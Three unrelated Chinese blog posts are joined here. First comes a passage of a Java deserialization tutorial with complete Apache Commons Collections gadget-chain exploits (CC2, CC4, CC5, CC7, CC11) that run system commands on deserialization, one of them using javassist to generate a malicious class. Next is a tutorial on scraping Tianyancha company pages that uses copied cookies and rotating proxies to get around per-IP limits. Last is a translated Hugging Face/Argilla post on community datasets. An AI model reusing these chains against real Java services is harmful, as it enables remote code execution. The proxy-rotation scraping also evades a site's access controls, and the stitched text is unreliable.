                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        Field transformer = TransformingComparator.class.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator, chainedTransformer);
        PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        serialize(priorityQueue);
        deserialize("cc4.bin");
    }
}

成功弹出计算器

身不由己CC2

CC2与CC4不同的地方就是后半些许不同,没有用chainedtrainsform,直接用invokertransformer
直接上poc了,没啥可调试的

package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc2.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
        ABSTRACT_TRANSLET.setAccessible(true);
        ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);
        Field transformer = TransformingComparator.class.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator, invokerTransformer);
        serialize(priorityQueue);
        deserialize("cc2.bin");
    }
}

有点眼熟CC5

CC5就是改了一点点的CC6,看链子,就改了readObject部分,分析一下

触发LazyMap.get换成了toString,这里调用了getValue

继续跟进,
BadAttributeValueExpException
的readObject调用了toString

这样就可以构造链子了,非常简单

package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc5.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);
        serialize(badAttributeValueExpException);
        deserialize("cc5.bin");
    }
}

越看越熟CC7

CC7的链子,这里是从LazyMap.get的调用开始修改了

追踪一下,
AbstractMap
类的equals调用了get

继续追踪equals,
AbstractMapDecorator
的equals调用了

继续追踪,为什么要用
reconstitutionPut
?Hashtable里还有好多地方都调用了equals

因为它在readObject中被调用了

 private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the length, threshold, and loadfactor
        s.defaultReadObject();

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Compute new size with a bit of room 5% to grow but
        // no larger than the original size.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)(elements * loadFactor) + (elements / 20) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        if (origlength > 0 && length > origlength)
            length = origlength;
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

这样链子就明了了,构造poc,注意
AbstractMapDecorator

AbstractMap
都是抽象类,并不能实例化,但是都实现了Map,所以调用equals时是调用lazyMap.equals,找不到往上找就能找到
AbstractMap.equals

package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc7.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        Map<Object, Object> map1 = new HashMap<>();
        Map<Object, Object> map2 = new HashMap<>();
        Map<Object, Object> lazymap1 = LazyMap.decorate(map1, chainedTransformer);
        Map<Object, Object> lazymap2 = LazyMap.decorate(map2, chainedTransformer);
        lazymap1.put("yy", 1);
        lazymap2.put("zZ",1);
        Hashtable hashtable = new Hashtable<>();
        hashtable.put(lazymap1, 1);
        hashtable.put(lazymap2,2);
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);
        lazymap2.remove("yy");
        serialize(hashtable);
        deserialize("cc7.bin");
    }
}

这里很有意思,键值还非得是
yy

zZ
,原因是它们两个的hashCode值相等,这样在
reconstitutionPut
方法中才能触发equals方法

不知好歹CC11

这里还学到一个javassist动态创建类,依赖:

<dependency>
  <groupId>org.javassist</groupId>
  <artifactId>javassist</artifactId>
  <version>3.29.1-GA</version>
</dependency>

从构造形式来看像是CC2和CC6的杂交,但是里面有挺多的细节,先给出poc:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

@SuppressWarnings("all")
public class cc11 {
    public static void main(String[] args) throws Exception {

        // 利用javasist动态创建恶意字节码
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错

        // 写入.class 文件
        // 将我的恶意类转成字节码,并且反射设置 bytecodes
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field f0 = templates.getClass().getDeclaredField("_bytecodes");
        f0.setAccessible(true);
        f0.set(templates,targetByteCodes);

        f0 = templates.getClass().getDeclaredField("_name");
        f0.setAccessible(true);
        f0.set(templates,"name");

        f0 = templates.getClass().getDeclaredField("_class");
        f0.setAccessible(true);
        f0.set(templates,null);

        InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
        TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
        HashSet hashset = new HashSet(1);
        hashset.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        f.setAccessible(true);
        HashMap hashset_map = (HashMap) f.get(hashset);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        f2.setAccessible(true);
        Object[] array = (Object[])f2.get(hashset_map);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node,tiedmap);

        Field f3 = transformer.getClass().getDeclaredField("iMethodName");
        f3.setAccessible(true);
        f3.set(transformer,"newTransformer");

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

}

先解释一下动态生成类

ClassPool pool = ClassPool.getDefault();: 创建一个ClassPool对象,它是Javassist库中用于管理CtClass对象(表示编译时类)的池。

pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));: 将AbstractTranslet类的类路径(ClassClassPath)插入到ClassPool中。这样做是为了确保在创建新类时,能够引用到AbstractTranslet类。

CtClass cc = pool.makeClass("Cat");: 使用ClassPool创建一个名为"Cat"的新CtClass对象,表示一个新的类。

String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";: 定义了一个字符串变量cmd,其中包含要执行的恶意命令。该命令使用Runtime.getRuntime().exec()方法执行一个指定的命令,这里是打开计算器应用程序(Calculator.app)。

cc.makeClassInitializer().insertBefore(cmd);: 使用cc.makeClassInitializer()创建类初始化器(class initializer),并在其之前插入恶意命令。

String randomClassName = "EvilCat" + System.nanoTime();: 创建一个随机的类名,以确保每次执行代码时都会创建一个唯一的类名。

cc.setName(randomClassName);: 将新创建的类的名称设置为随机生成的类名。

cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));: 设置新创建的类的父类为AbstractTranslet类。

分析过程:
http://wjlshare.com/archives/1536

结尾

CC链到此为止,有些地方可能我自己也没弄太明白,建议结合其它文章品鉴

Python爬虫实战系列1:博客园cnblogs热门新闻采集
Python爬虫实战系列2:虎嗅网24小时热门新闻采集
Python爬虫实战系列3:今日BBNews编程新闻采集
Python爬虫实战系列4:天眼查公司工商信息采集

一、分析页面

打开天眼查网址
https://www.tianyancha.com/
,随便搜索一个公司【比亚迪】

查看地址栏URL变化,由
https://www.tianyancha.com
变成
https://www.tianyancha.com/search?key=比亚迪&sessionNo=1710895900.05751652

然后分析cookie情况,当不登陆,直接访问首页
https://www.tianyancha.com
时,网站会自动生成一堆cookie

接下来查看公司详情页面,每个公司详情页都会有天眼查自己的公司id拼接出来的URL

例如:
https://www.tianyancha.com/company/11807506

这个详情页面就是我们真正需要数据的页面

1.1、分析请求

开始分析请求,F12打开开发者模式,点击Network,然后刷新页面

由于公司详情页都是新标签页打开的,所以请求地址也就是当前页面地址
https://www.tianyancha.com/company/11807506
并且该请求Response的是HTML源码,我们只需要分析该HTML代码解析处理数据即可。

右键请求=》copy curl=》

curl代码如下

curl 'https://www.tianyancha.com/company/11807506' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8' \
  -H 'Accept-Language: zh-CN,zh;q=0.5' \
  -H 'Cache-Control: max-age=0' \
  -H 'Connection: keep-alive' \
  -H 'Cookie: HWWAFSESID=887e67d267788860d6c; HWWAFSESTIME=1710896046122; csrfToken=lvLMtLSm9xmfByFFdDTlcT4s; TYCID=5d1c2130e65411ee9a9db554e7c53ded; CUID=5c33b832f027276cc2e6ab5cee5b1d8b; sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%2218e5959f4c817-057ed755c136264-1d525637-855961-18e5959f4c913dd%22%2C%22first_id%22%3A%22%22%2C%22props%22%3A%7B%7D%2C%22identities%22%3A%22eyIkaWRlbnRpdHlfY29va2llX2lkIjoiMThlNTk1OWY0YzgxNy0wNTdlZDc1NWMxMzYyNjQtMWQ1MjU2MzctODU1OTYxLTE4ZTU5NTlmNGM5MTNkZCJ9%22%2C%22history_login_id%22%3A%7B%22name%22%3A%22%22%2C%22value%22%3A%22%22%7D%2C%22%24device_id%22%3A%2218e5959f4c817-057ed755c136264-1d525637-855961-18e5959f4c913dd%22%7D; sajssdk_2015_cross_new_user=1; bannerFlag=true; searchSessionId=1710896089.33230042' \
  -H 'Referer: https://www.tianyancha.com/search?key=%E6%AF%94%E4%BA%9A%E8%BF%AA&sessionNo=1710896089.33230042' \
  -H 'Sec-Fetch-Dest: document' \
  -H 'Sec-Fetch-Mode: navigate' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'Sec-Fetch-User: ?1' \
  -H 'Sec-GPC: 1' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36' \
  -H 'sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Brave";v="122"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "macOS"'

然后逐个测试哪些是请求必要参数

大部分情况下,一个请求必要参数是如下这些

  1. User-Agent:标识发送请求的客户端
  2. Content-Type:内容类型
  3. cookie或者Authorization

所以可以删除不必要参数进行测试,经过测试,其他不重要参数可以删除,但是删除cookie不可行,说明接口需要cookie信息

但是这个cookie怎么来的呢?

还记得上面说过,我们观察得到当我们访问首页时会自动注入一些cookie吗?

我们截止目前也没有登录,所以直接对比首页cookie和详情页cookie是否有区别即可。

分析结论:

  1. 详情页面请求需要cookie信息,但是该cookie可以从首页获取到
  2. 详情页面有反爬策略,同ip多次访问会提示需要登录,但是一个ip第一次请求时无需登录也可以请求到结果

二、代码实现

分析完请求后,我们开始代码实现,由于需要先从访问一次首页后拿到cookie才能再请求详情页

所以我们采用Python的requests的session功能,利用该session发起get和post请求,这样每次session发起请求时都会携带cookie,那我们只需要在获取session前先请求一次首页即可。


def new_session():
    """
    获取session
    :return:
    """
    session = requests.session()
    while True:
        try:
            session.get(url='https://www.tianyancha.com', headers=headers, timeout=(2, 2), proxies=proxies)
            return session
        except Exception as e:
            Print.print("异常,重试...", e)
            update_proxies()

注意这里我演示使用了代理proxies,当出现异常无法访问时需要更新一下代理
update_proxies()

拿到session后就可以请求详情页面了

def get_co_detail(url):
    """
    公司详情
    :param url:
    :return:
    """
    session = new_session()
    response = session.get(url=url, headers=headers, timeout=(2, 2), proxies=proxies)
    restext = response.content.decode('utf-8', errors='ignore')

    tree = etree.HTML(restext)
    title = str(tree.xpath('//title/text()'))
    # 公司名称
    coName = tree.xpath("//h1[@class='index_company-name__LqKlo']/text()")

注意详情页面这里是先获取session,然后get请求时同样增加代理

本次学习演示只获取页面中的公司名称信息,如需请求信息可自行分析页面源码然后xpath获取

总结

  1. 分析请求时多注意cookie信息,分析cookie是后端生成还是前端js生成
  2. 如遇需要携带cookie请求时,可以采用
    requests.session()
    创建一个session来请求

本文章代码只做学习交流使用,作者不负责任何由此引起的任何法律责任。

由于信息安全问题,这里不放源码。

各位看官,如对你有帮助欢迎点赞,收藏,转发,关注公众号【Python魔法师】获取更多Python魔法~

qrcode.jpg

最近,Argilla 和 Hugging Face 共同
推出

Data is Better Together
计划,旨在凝聚社区力量协力构建一个对提示进行排名的偏好数据集。仅用几天,我们就吸引了:

  • 350 个社区贡献者参与数据标注
  • 超过 11,000 个提示评分

你可通过
进度面板
了解最新的统计数据!

基于此,我们发布了
10k_prompts_ranked
数据集,该数据集共有 1 万条提示,其中每条提示都附带用户的质量评分。我们希望后续能开展更多类似的项目!

本文将讨论为什么我们认为社区合作构建数据集至关重要,并邀请大家作为首批成员加入社区,
Argilla
和 Hugging Face 将共同支持社区开发出更好的数据集!

“无数据,不模型”仍是颠扑不破的真理

数据对于训练出更好的模型仍具有至关重要的作用:
现有的研究
及开源
实验
不断地证明了这一点,开源社区的实践也表明更好的数据才能训练出更好的模型。

问题

常见答案

为什么需要社区合力构建数据集?

“数据对于机器学习至关重要”已获得广泛共识,但现实是对很多语言、领域和任务而言,我们仍然缺乏用于训练、评估以及基准测试的高质量数据集。解决这一问题的路径之一是借鉴 Hugging Face Hub 的经验,目前,社区已通过 Hugging Face Hub 共享了数千个模型、数据集及演示应用,开放的 AI 社区协力创造了这一令人惊叹的成果。我们完全可以将这一经验推广,促成社区协力构建下一代数据集,从而为构建下一代模型提供独特而宝贵的数据基础。

赋能社区协力构建和改进数据集得好处有:

  • 无需任何机器学习或编程基础,人人皆能为开源机器学习的发展作出贡献。
  • 可为特定语言创建聊天数据集。
  • 可为特定领域开发基准数据集。
  • 可创建标注者多样化的偏好数据集。
  • 可为特定任务构建数据集。
  • 可利用社区的力量协力构建全新的数据集。

重要的是,我们相信凭借社区的协力会构建出更好的数据集,同时也能让那些不会编码的人也能参与进来为 AI 的发展作贡献。

让人人都能参与

之前许多协力构建 AI 数据集的努力面临的挑战之一是如何赋能大家以高效完成标注任务。Argilla 作为一个开源工具,可让大家轻松地为 LLM 或小型特化模型创建数据集,而 Hugging Face Spaces 是一个用于构建和托管机器学习演示应用的平台。最近,Argilla 对 Spaces 上托管的 Argilla 实例增加了对 Hugging Face 账户验证的支持,有了这个,用户现在仅需几秒钟即可开始参与标注任务。

我们在创建
10k_prompts_ranked
数据集时已对这个新的工作流进行了压力测试,我们已准备好支持社区创建新的协作数据集。

首批加入数据集共建社区!

我们对这个新的、简单的托管标注工作流的潜力深感兴奋。为了支持社区构建更好的数据集,Hugging Face 和 Argilla 邀请感兴趣的个人或社区作为首批成员加入我们的数据集构建者社区。

加入这个社区,你将可以:

  • 创建支持 Hugging Face 身份验证的 Argilla Space。 Hugging Face 将为参与者提供免费的硬盘和增强型 CPU 资源。
  • Argilla 和 Hugging Face 可提供额外的宣传渠道以助力项目宣传。
  • 受邀加入相应的社区频道。

我们的目标是支持社区协力构建更好的数据集。我们对所有想法持开放态度,并愿竭尽所能支持社区协力构建更好的数据集。

我们在寻找什么样的项目?

我们愿意支持各种类型的项目,尤其是现存的开源项目。我们对专注于为目前开源社区中数据不足的语言、领域和任务构建数据集的项目尤其感兴趣。当前我们唯一的限制是主要针对文本数据集。如果你对多模态数据集有好想法,我们也很乐意听取你的意见,但我们可能无法在第一批中提供支持。

你的任务可以是完全开放的,也可以是向特定 Hugging Face Hub 组织的成员开放的。

如果你想成为首批成员,请加入
Hugging Face Discord
中的
#data-is-better-together
频道,并告诉我们你想构建什么数据集!

期待与大家携手共建更好的数据集!


英文原文:
https://hf.co/blog/community-datasets
原文作者: Daniel van Strien,Daniel Vila
译者: Matrix Yao (姚伟峰),英特尔深度学习工程师,工作方向为 transformer-family 模型在各模态数据上的应用及大规模模型的训练推理。